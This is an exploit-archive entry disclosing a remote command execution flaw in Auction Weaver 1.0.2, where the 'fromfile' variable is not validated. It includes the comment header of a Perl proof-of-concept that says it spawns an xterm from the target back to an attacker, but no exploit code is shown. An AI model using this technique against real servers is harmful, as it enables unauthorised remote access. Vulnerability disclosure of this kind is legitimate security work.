CGI Script Center Auction Weaver 1.0.2 - Remote Command Execution

                                        
                                            source: https://www.securityfocus.com/bid/1645/info

CGI Script Center's Auction Weaver does not verify the validity of the value in the variable 'fromfile'. Therefore it is possible to perform arbitrary commands on a remote system under the UID of the http daemon by altering the variable 'fromfile'.


#!/usr/bin/perl -w

## Auction Weaver 1.02 / Only confirmed with LITE
##        -  Proof of Concept exploit -
##
## CGI Script Center have just released an update
## of Auction Weaver due to security reasons - I
## suggest that you spend some more time securing
## it, and the other scripts - It is really needed.
##
## This exploit will spawn a xterm from $target
## to $attacker.
##
## This exploit will not work on hosts running
## Auction Weaver on NT, due to the xterm call.
##
## CGI Script Center, please contact me if you need
## help with securing your scripts...
